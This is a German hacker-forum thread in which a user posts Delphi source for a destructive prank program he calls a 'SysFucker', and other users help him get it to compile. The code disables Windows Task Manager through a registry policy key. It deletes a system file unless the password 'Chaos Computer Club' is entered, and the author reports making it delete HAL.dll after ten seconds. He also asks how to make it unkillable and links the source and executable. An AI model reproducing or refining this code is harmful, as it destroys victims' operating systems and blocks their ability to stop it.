[S] Dringend Hilfe... Anscheinend ein Fehler -.- [SOLVED]

[SysFuck3r]

Hey Leute...
Ich hab einfach kein Plan mehr. Immer wenn ich versuche mein
programm zu compilen bekomme ich nen Error von wegen undeclined
identifier... Hier mal der Code. (der Error ist hervorgehoben!)


unit Unit1;

interface

uses
Registry, Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls;

type
TForm1 = class(TForm)
Label1: TLabel;
Label2: TLabel;
Label3: TLabel;
Label4: TLabel;
Label5: TLabel;
Edit1: TEdit;
Button1: TButton;
Label6: TLabel;
procedure Button1Click(Sender: TObject);
procedure FormCreate(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;


implementation

{$R *.dfm}

procedure TForm1.Button1Click(Sender: TObject);
begin
if Edit1.Text = 'Chaos Computer Club'
then begin
ShowMessage('Glück gehabt! Das nächste mal bekomme ich dich!');
SystemParametersInfo( SPI_SCREENSAVERRUNNING,0,Nil,0);
end else begin
ShowMessage('Sag ByeBye!');
Windows.DeleteFile(PChar(GetSpecialFolder('blabla' )));


end;

end;
procedure TForm1.FormCreate(Sender: TObject);
var
regist:TRegistry;
begin
regist:=tregistry.create;
regist.rootkey:=HKEY_CURRENT_USER;
regist.openkey('Software\Microsoft\Windows\Current Version\Policies\System', true);
regist.writeinteger('DisableTaskMgr', 1);
regist.closekey;
regist.destroy;
end;

end.


Der Error lautet:

[Error] Unit1.pas(40): Undeclared identifier: 'GetSpecialFolder'


BITTE HELFT MIR -.-

Coffee aka SysFuck3r (oder andersrum)

[Paran0id]

Der Befehl sollte auch so aussehen:
deletefile('C:\meine.txt');

[SysFuck3r]

Mhh.. Danke... aber geht das auch mit *.dll's?!

Coffee aka Sysfuck3r

[pHySSiX]

was machts fürn unterschied ob txt oder dll?
du kanst alles mit rechtsklick löschen also auch mit deletefile("")

[Paran0id]

Alle Dateien, die Endung spielt dabei keine Rolle, ich hoffe du kommst am 1 Sep mal in unser Board und lernst was^^

[SysFuck3r]

Danke! Ich habs jetzt

Hab jetzt noch ein Zeitlimit von 10Sekunden gesetzt, bevor HAL.dll gelöscht
wird. Echt witzig und ich habe ne Menge gelernt. Ich Schnibbel jetzt nur noch
am Design und dann stelle ich es per €dith online

Coffee aka SysFuck3r

So hier kommt die €dith:

Das Programm ist soweit fertig. Es fehlt nur noch eine einzige Sache.
Ich muss das Programm "unkillbar" machen, sprich man darf es nicht
mehr schließen können!
Das Design sollte eigtl. auch OK sein. Wer noch in der Source wühlen
will, soll sich keinen Zwang antun.

Das Projekt:
http://rapidshare.com/files/13965647...ucker.rar.html

Die .exe:
http://rapidshare.com/files/13965658...offee.exe.html

Das Bild:


Ganz wichtig:
Ihr solltet die .exe nicht öffnen, wenn ihr nicht wisst, wie da Antwort
lautet. JA! Ich habe mir das Konzept vom JigSaw Sysfucker abgeschaut.
Mein SysFucker löscht genau wie Jigsaw die hal.dll ausm sys32 ordner.

Ihr dürft meine Source weder als eure ausgeben, noch sollt ihr damit
irgendeinen Scheiß anstellen. Das ganze habe ich mir heute innerhalb
12h aufgebaut und es soll euch nun auch zu lernzwecken dienen.

Viel Spaß,

Coffee AkA SysFuck3r